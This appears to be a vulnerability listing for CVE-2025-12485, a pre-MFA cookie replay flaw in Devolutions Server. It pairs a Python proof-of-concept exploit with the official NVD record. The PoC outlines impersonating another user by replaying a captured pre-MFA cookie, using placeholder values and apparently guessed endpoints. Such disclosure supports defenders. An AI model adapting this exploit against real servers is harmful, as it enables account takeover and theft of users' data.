CVE-2025-12485

import requests import json # CVE-2025-12485 PoC - Pre-MFA Cookie Replay Attack # This PoC demonstrates the improper privilege management vulnerability TARGET_URL = "https://vulnerable-server.com" ATTACKER_TOKEN = "attacker_low_privilege_token" TARGET_USER_ID = "target_user_id" def exploit_cve_2025_12485(): """ Exploit Steps: 1. Authenticate with low-privilege account 2. Capture target user's pre-MFA cookie (via MITM or session hijacking) 3. Replay the pre-MFA cookie in attacker's session 4. Gain impersonated access to target account """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Get attacker's session session_response = requests.get( f"{TARGET_URL}/api/auth/session", headers=headers ) attacker_session = session_response.cookies.get('PreMFACookie') # Step 2: Capture target's pre-MFA cookie (simulated) target_pre_mfa_cookie = capture_target_cookie() # Step 3: Replay attack - inject target's cookie exploit_cookies = { "PreMFACookie": target_pre_mfa_cookie, "SessionID": attacker_session } # Step 4: Access target user's resources impersonation_response = requests.get( f"{TARGET_URL}/api/user/{TARGET_USER_ID}/sensitive-data", cookies=exploit_cookies, headers=headers ) return impersonation_response.json() def capture_target_cookie(): """ In real attack, this would capture the pre-MFA cookie through network interception or session hijacking """ return "TARGET_PRE_MFA_COOKIE_VALUE" if __name__ == "__main__": result = exploit_cve_2025_12485() print(f"Impersonation successful: {json.dumps(result, indent=2)}")

{"cve": {"id": "CVE-2025-12485", "sourceIdentifier": "[email protected]", "published": "2025-11-06T17:15:42.483", "lastModified": "2025-11-10T16:31:06.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper privilege management during pre-MFA cookie handling in Devolutions Server allows a low-privileged authenticated user to impersonate another account by replaying the pre-MFA cookie.This does not bypass the target account MFA verification step.\n\n\n\n\n\nThis issue affects the following versions :\n\n * Devolutions Server 2025.3.2.0 through 2025.3.5.0\n * \n\nDevolutions Server 2025.2.15.0 and earlier"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.2.17.0", "matchCriteriaId": "2A69717C-BA2A-4784-8105-95D2A1A56E65"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.3.2.0", "versionEndExcluding": "2025.3.6.0", "matchCriteriaId": "DE204E27-A038-4D0F-A91F-0CF5FF48A992"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2025-0016", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}